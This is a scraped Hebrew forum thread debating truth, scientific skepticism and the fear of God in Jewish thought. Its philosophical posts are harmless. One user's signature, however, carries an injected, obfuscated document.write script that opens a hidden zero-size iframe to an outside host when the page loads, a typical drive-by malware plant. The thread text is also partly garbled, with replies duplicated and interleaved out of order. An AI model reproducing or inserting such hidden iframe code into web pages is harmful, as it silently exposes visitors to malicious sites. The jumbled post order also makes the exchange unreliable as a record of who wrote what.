בית פורומים עצור כאן חושבים

מהו היחס שבין האמת ליראת ה' ?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-3/11/2011 08:41 לינק ישיר 
מהו היחס שבין האמת ליראת ה' ?

[הדברים נכתבו כתגובה לאשכול של יהיאור על משמעות החיים (שאגב, הוא ושותפיסוד כתבו דברים יפים מאוד) אלא שכיון שהדברים חרגו לבסוף מהנושא עצמו לכן אני פותח את זה כדבר חדש]

השאלה הראשונה היא מהי האמת על המציאות ? והתשובה לכך היא פשוטה -

האמת היא שאדם הוא לא הבורא של עצמו ולומר שהבורא ברא ופרח לעולם אחר אין לך אלילות גדולה מזו ולכן גם אין לך שקר מוכח מזה

ההרגל של הספקנות במדע שמוכיח את עצמו ככלי יעיל גרם לאנשים להרגיש שהידע הוא כלי ולא מציאות, ובדבר הזה יש חורבן למציאות האנושית של רוב בני האדם אמנם אנשים שהתרבות שלהם הוא המדע יכולים עדיין להישאר אנושיים גם אם העיסוק שלהם בו הוא מבחירה אלא שכיון שרוב האנשים הם לא אנשי מדע בשבילם המידענות היא דבר מלאכותי ויש בה קלקול אמיתי לחיים עצמם

 

"דת היא תרבות של אמונה. מדע הוא תרבות של ספק."

ברגע שהמדע הפך לתרבות הדת הפכה לתרבות גם היא וככזאת היא כבר לא דת וזו היא המטרה של הציטוט לבטל את משמעות היראה

ההרגל של המדע להסתפק בכל הוא דבר אמיתי כיון שרק על ידי ביטול דוגמטיות ישנה יש יכולת לתת למציאות להתבטא ולברר את מה שיש באמת ומתוך שההשקפה הזאת מכילה אמת היא יכולה להוות בסיס לתרבות של אנשי מדע שעוסקים בה ולא רק כאמצעי בשביל מטרה מוגדרת מראש לברר מה יש ומה אין "פיזיקה זה כמו סקס. בוודאי, זה יכול להניב כמה תוצאות מעשיות, אבל זאת לא הסיבה שאנו עושים את זה."

כיון שהמדע הפך לתרבות שמכילה אמת היא הפסיקה לסגוד לו ולראות בה משהו שהוא עדיף וחזק יותר מתרבות לחוד

וכיון שהחכמים הורידו את המקום של המדע למקום שיש בו בחירה הוא עצמו הפך ללא רלוונטי כיון שנעשו פנים רבות לאמת במקום שהיא תהיה מציאות ומחייבת

 

 

אלא שלא די ביראה ובאמת בשביל לקיים את התורה ולהפך היא מנוגדת לו כשהיא לעצמה וכמו שאמר רבא שעל ידי ש"כפה עליהם הר כגיגית" שהוא הכפייה על המציאות של "אין עוד" מלבד הבורא בכך יש "מודעה רבה לאורייתא" כיון שהאדם הוא לא הידע שבו וכן יש בו בחירה וכן יש בו רצון שהוא המניע הראשוני של החיים שעוד קודם ליכולת שלו לדעת ולכן הכפייה אמנם היה בה כדי בירור של שקרים אליליים אבל לא היה בה קבלת עול מלכות שמים בצורה שלמה [והמציאות של העגל מיד לאחריו מוכיחה את זה] ולכן היה צורך בעידן שלאחר האלילות בזמן של אנשי כנסת הגדולה ורק אז "הדר קיבלוהו מאהבה"

המטרה של התורה היא האיזון כיון שרק בכך האדם מבטא באמת את המציאות שהוא מכיל כמות שהיא ולכן היראה המוגזמת היא לא נכונה אלא כפי שהמציאות עצמה מכתיבה בדיוק כמו שהאהבה המוגזמת היא שקר כיון שהיא קלות ראש וניתוק מהמציאות של החיים

וכאן היא הנבחרות של ישראל "אתם קרויים אדם" ולא אחרים

 

יתכן שואל שוב ושוב למה שלא נתאים את ההלכות למציאות המוכרת לנו היום

והתשובה היא שבודאי שיש חובה להתאים את התורה למציאות אלא שלא להתאים אלא לתת למציאות להתבטא על ידי התורה ולא לתת למציאות חלקית שהיא לא אמיתית להתבטא יותר מדאי ולקלקל את העולם

ובדיוק בשביל אנשים כאלה ש"מקצצים בנטיעות" כאלה שלא מחוברים למציאות מהראש [אלא מהזנב..] בדיוק בשבילם יש הכרח לשמור על הידוע לנו בשביל להמשיך ולא להתנתק מדרך ה' שחצוב לנו במציאות מימות אבינו אברהם והפחד והחשש הגדול מניתוק מהמציאות מהיראה ומהאהבה הוא מה שמחייב אותנו בשמרנות ולשמור על ה"דרך" ל"עץ החיים" שרק ישראל הם אלו שזכו בו מעולם




דווח על תוכן פוגעני

מנותק
נשלח ב-6/11/2011 00:22 לינק ישיר 

תודה רבה על ההתייחסות המפורטת 
ההוספות שלי הם בכחול

מיימוני"]

כתבת:


האמת היא שאדם הוא לא הבורא של עצמו ולומר שהבורא ברא ופרח לעולם אחר אין לך אלילות גדולה מזו ולכן גם אין לך שקר מוכח מזה

אני מוכן להסכים שלא סביר כי האדם ברא את עצמו (אם כי יש טוענים שהאדם או חלק מאלוהים ולפי זה הוא אלוהים בלי לדעת זאת, וזה לא כל כך פשוט כפי שזה נראה. ואדרבה, טענות כאלו יש, לפי הניסוח הפשטני שלי, גם בחסידות וגם בבודהיזם למשל, וגם כמובן אצל שפינוזה).

אבל זה שהבורא נטש את הארץ, הלא זו הטענה המפורסמת של המכחישים מימות התנ"ך ועד היום. אפשר לטעון שזה שקר וטעות, אבל מנין לנו זאת? (אני מסכים שהבורא לא נטש אותנו, אבל האם על הסכמתי אתה נשען? ומה עם מי שלא יתפעל מהסכמתי?) האם זה אמור להיות משפט מבורר מעצמו (SELF EVIDENT)?

ומה נעשה כלפי הפילוסוף האריסטוטלי שסבור שאדרבה, לטעון שה' יתעניין בבריאה זוהי גופה אלילות והפחתה במעלתו?

המשפט הראשון שכתבתי אכן היה בעיקר כרקע להמשך ולכן לא הסברתי אותו כל כך וגם שהיה נראה לי שאפשר להבין אותו מעצמו גם אם לא להשתכנע אבל בכל זאת להבין את הרקע של הדברים
בכל אופן, לפי דעתי המשפט הזה הוא מוכרח וזה בהנחה שאנחנו מכירים בגבולות יכולת התפיסה שלנו שבזה יש לנו עדיפות על הדורות הקודמים וודאי ביחס לאריסטו שדימה שההבנה שלו היא עיקר הכל ויש לה יכולת עצמית להכיר באמיתות עצמם בלי להיות תלויה בדבר נוסף
לעומתו אנחנו כבני אדם בשלים יותר שמכירים את הגבולות של יכולת התפיסה שלהם האמת שלנו אמורה להיות מוגבלת בדברים שיש לנו יכולת להכיל ולכן לעומת עובדי האלילים שיכלו לומר ליחזקאל עזב ה' את הארץ בשבילנו אמירה כזאת תהיה המצאה כיון שאין לה שום רקע במציאות שמבסס אותו
ולכן כאן אפשר רק לדון מהי המשמעות של דבר שנתפס אצלנו כאמת האם אנחנו צריכים או מחויבות למציאות הזאת במשהו או לא וזה הנושא שניסיתי לכתוב עליו בהמשך 
ביחס לטענה של שפינוזה שייחס לעצמו אלוהות לא התכוונתי לדבר כאן אבל גם בזה נראה לי שמדובר בדיבורים על דברים שהם מחוץ לגבולות ההיגיון ולכן גם אין להם כל משמעות [אגב, חלק אלוה ממעל של הקבלה לא נראה לי שקשור לפנתאיזם מעצם העובדה שהיא בגבולות התורה שיש בה ציוויים מחייבים אם כי יש בדבר סכנה שהרבה נכשלו בה ולפי איך שאני מבין זהו הדבר שבעיקר אתה יוצא נגדו ובזה בוודאי אתה צודק אלא שזה לא אמור למנוע משימוש בשפה של המקובלים שבה כתבו מהחכמים הגדולים באומתנו]
בקצרה היחס שלנו לבורא לא אמור להיות שונה מהיחס לכל משפט אמתי אחר
[אלא אם כן יש לנו רצון [או צורך..] ליצור את עצמנו מחדש בצורה שמתאימה לנו יותר ולהשתלט לא רק על העולם עצמו אלא גם על המשמעות שלו והדברים עתיקים וכבר אמר שלמה בחכמתו "עקב ענווה יראת ה' כתב:

ההרגל של הספקנות במדע שמוכיח את עצמו ככלי יעיל גרם לאנשים להרגיש שהידע הוא כלי ולא מציאות, ובדבר הזה יש חורבן למציאות האנושית של רוב בני האדם אמנם אנשים שהתרבות שלהם הוא המדע יכולים עדיין להישאר אנושיים גם אם העיסוק שלהם בו הוא מבחירה אלא שכיון שרוב האנשים הם לא אנשי מדע בשבילם המידענות היא דבר מלאכותי ויש בה קלקול אמיתי לחיים עצמם

ידע הוא כלי. כלומר דבר שימושי. אכן. (אם כי לא תמיד). אבל מה זה "ידע הוא מציאות"? האם כוונתך שידע חייב לשמש לתכלית מעשית ולא אין לו ערך או משמעות? ומה פירוש שרוב האנשים אינם אנשי מדע? שהם אינם חוקרים? שהם אינם מבינים מהו מדע? והאם חוקרים עצמם תמיד מקפידים להשתמש בביקורת מדעית בכל היבט בחייהם?

מה שהתכוונתי לומר הוא, שיכולת הידיעה של אנשים אמורה לשמש בשביל להכיר את המציאות כמות שהיא וכיון שהיא אמורה להוות את היחס של האדם למציאות ולחיים לכן היחס אליו ככלי שהוא רק אמצעי למטרה אחרת שממילא גם חשובה יותר יש בה קלקול של היכולת הבסיסית הזאת שבה האדם הוא אדם, דבר שמתבטא בזה שיש לו יכולת להבין, 
"רוב האנשים הם לא אנשי מדע" משמעותו שאצל רוב בני האדם העיסוק בחכמה הוא דבר צדדי [אם בכלל] ולכן לעומת אנשי מדע - חוקרים פעילים שגם אם הם רואים את העיסוק שלהם במדע כתחביב עדיין הם במהותם אנשי רוח שמעסקים בעיקר בחכמה ובאמת של המציאות ולכן גם אי אפשר להכיר בהם כל כך את הקלקול שיש ביחס שלהם לאמת כאמצעי ולא כתכלית ויתכן שבשבילם באמת היחס הזה הוא לא כל כך בעיה כיון שבכל מקרה היחס שלהם למציאות יש בה התייחסות מושכלת
אלא וכאן הוא הבעיה שמתוך כך שכזה הוא היחס של החכמים  לאמת של החכמה גם יתר העם מתייחס אליו ככה והדבר הזה הוא מה שהופך את האמת לכשעצמה לדבר חסר משמעות

המידענות היא מלאכותית. מדוע? אני סבור שהגישה המדעית היא בסך הכל שיפור וניסוח מדוייק יותר של צורת חשיבה שיש לכל אדם, (ולכן החשיבה שביסוד המגיה היא מאותו סוג רק שהנחות היסוד שלה שגויות).

היכולת של להתייחס לדבר לכשעצמו הוא דבר מלאכותי אצל רוב האנשים כיון שהדבר לכשעצמו הוא לא ביחס אליהם ולכן אם הם ירצו לחקור תחום מסוים הם אמנם יגיעו לתוצאות טובות יותר על ידי הגישה המדעית כיום אלא שלעומת זאת הם יראו בו דבר מנותק והיחס הזה הוא לא דבר שישליך גם על היחס  שלהם למציאות באופן כללי [וזה לעומת המדע בעבר שהיה בו גם  יסוד של חכמה שהוא ההבנה של הדברים באופן אישי]

מה זה "קלקול אמיתי"? ואיך זה מזיק? איך נראים חיים בלי הקלקול הזה ואיך איתו יחד? דוגמא תמיד מבהירה היטב על מה מדובר.

קלקול הוא דבר מתוקן שהתקלקל והיינו שאנשים שהיה להם בעבר את מידת הידע שיש היום לכל תלמיד היו כבר אנשים הרבה יותר טובים כך שהריבוי של החכמה כיום יכול היה להפוך את העולם למקום הרבה יותר טוב מפספס את היעוד הזה במידה מסוימת בגלל חוסר ההכרה שהיחס הזה למדע הוא קלקול שצריך תיקון 
- אני לא אומר שאנשים בעבר היו טובים יותר אלא שגם כיום אם היחס לחכמה היה כמו בעבר התקדמות הייתה הרבה יותר גדולה
והדוגמה לדבר הוא המצב שאמנם גם בעבר היו הרבה רציחות אלא שבזמן החדש ההריגות הגדולות היו מנומקים בהסברים אידאולוגיים כדוגמת קומוניזם ורצח עם בשואה

"דת היא תרבות של אמונה. מדע הוא תרבות של ספק."

אני מסכים לסיפא (החלק השני). המדע מבוסס על בדיקה. אבל האם דת לא? האם המאמין אינו מסתפק ושואל? אולי תלוי בדרגתו ובדתו?
המשפט הוא ציטוט של הפיזיקאי חתן פרס נובל ריצ'ארד פיינמן ומה שניסיתי להראות הוא את הנקודה הזאת עצמה שהיחס למדע כתרבות הוא בשביל ליצור את היחס הנחות יותר לוודאויות של הדת ולהפוך את היחס שלהם כאל תרבות בלבד

הזמן קצר לפני שבת אז אני מסתפק בדברים אלו. האם תוכל לבאר יותר?


לגבי השאר, נראה עוד בעז"ה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



במקור הכוונה שלי הייתה להביא הסתייגות מסוימת ממה שהשתמע מדברי יהיאור ושותפיסוד שעיקר התורה מבוסס על רצון והרגשה שהוא האהבה לחוד ולכן כתבתי שהבסיס הראשון של התורה הוא היראה דווקא והוא דבר שמעוגן בעיקר המציאות אלא שצריך בשביל זה ענווה ואמנם שבשביל לקבל את התורה יש צורך בהשלמה ליראה שהוא האהבה ולאחר מתן תורה היה צורך בהדור קיבלוה אלא שהקבלה האחרונה הייתה מחויבת להתבסס על כפיית ההר שהוא הדבר הראשוני והוא היראה דווקא ויש להאריך ודי בזה לבינתיים



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/11/2011 16:18 לינק ישיר 

יעקב היקר

חוששני שלא הבנתי מה אתה בא לטעון. אולי בגלל שאתה ממשיך אשכול קיים. אז כדאי לנהל את האשכול הזה כאילו שום אשכול אחר לא היה ולא נברא.

דבריך נראים כאילו יש בהם טיעון מסודר. כלומר הנחות ואחר כך מסקנה. מסקנה עיונית (מה שיש) ומסקנה מעשית (מה שראוי).

ניתן לטעון לגבי הנחות שאין שום כוונה להצדיקן. אבל ראוי לפחות לומר שלא מצדיקים. ואם רוצים להיות ברורים יותר, צריך להסביר לפחות קצת למה כך ולא אחרת בכל הנחה והנחה.

כדאי גם לחלק את ההנחות למשפטים נפרדים כדי שאפשר יהיה למקד את הדיון בכל אחד בנפרד.

אני מעתיק את דבריך ומצביע על מה שקשה לי בהם.

כתבת:


האמת היא שאדם הוא לא הבורא של עצמו ולומר שהבורא ברא ופרח לעולם אחר אין לך אלילות גדולה מזו ולכן גם אין לך שקר מוכח מזה

אני מוכן להסכים שלא סביר כי האדם ברא את עצמו (אם כי יש טוענים שהאדם או חלק מאלוהים ולפי זה הוא אלוהים בלי לדעת זאת, וזה לא כל כך פשוט כפי שזה נראה. ואדרבה, טענות כאלו יש, לפי הניסוח הפשטני שלי, גם בחסידות וגם בבודהיזם למשל, וגם כמובן אצל שפינוזה).

אבל זה שהבורא נטש את הארץ, הלא זו הטענה המפורסמת של המכחישים מימות התנ"ך ועד היום. אפשר לטעון שזה שקר וטעות, אבל מנין לנו זאת? (אני מסכים שהבורא לא נטש אותנו, אבל האם על הסכמתי אתה נשען? ומה עם מי שלא יתפעל מהסכמתי?) האם זה אמור להיות משפט מבורר מעצמו (SELF EVIDENT)?

ומה נעשה כלפי הפילוסוף האריסטוטלי שסבור שאדרבה, לטעון שה' יתעניין בבריאה זוהי גופה אלילות והפחתה במעלתו?


ההרגל של הספקנות במדע שמוכיח את עצמו ככלי יעיל גרם לאנשים להרגיש שהידע הוא כלי ולא מציאות, ובדבר הזה יש חורבן למציאות האנושית של רוב בני האדם אמנם אנשים שהתרבות שלהם הוא המדע יכולים עדיין להישאר אנושיים גם אם העיסוק שלהם בו הוא מבחירה אלא שכיון שרוב האנשים הם לא אנשי מדע בשבילם המידענות היא דבר מלאכותי ויש בה קלקול אמיתי לחיים עצמם

ידע הוא כלי. כלומר דבר שימושי. אכן. (אם כי לא תמיד). אבל מה זה "ידע הוא מציאות"? האם כוונתך שידע חייב לשמש לתכלית מעשית ולא אין לו ערך או משמעות? ומה פירוש שרוב האנשים אינם אנשי מדע? שהם אינם חוקרים? שהם אינם מבינים מהו מדע? והאם חוקרים עצמם תמיד מקפידים להשתמש בביקורת מדעית בכל היבט בחייהם?

המידענות היא מלאכותית. מדוע? אני סבור שהגישה המדעית היא בסך הכל שיפור וניסוח מדוייק יותר של צורת חשיבה שיש לכל אדם, (ולכן החשיבה שביסוד המגיה היא מאותו סוג רק שהנחות היסוד שלה שגויות).

מה זה "קלקול אמיתי"? ואיך זה מזיק? איך נראים חיים בלי הקלקול הזה ואיך איתו יחד? דוגמא תמיד מבהירה היטב על מה מדובר.

"דת היא תרבות של אמונה. מדע הוא תרבות של ספק."

אני מסכים לסיפא (החלק השני). המדע מבוסס על בדיקה. אבל האם דת לא? האם המאמין אינו מסתפק ושואל? אולי תלוי בדרגתו ובדתו?

הזמן קצר לפני שבת אז אני מסתפק בדברים אלו. האם תוכל לבאר יותר?


לגבי השאר, נראה עוד בעז"ה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מהו היחס שבין האמת ליראת ה' ?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר

bholext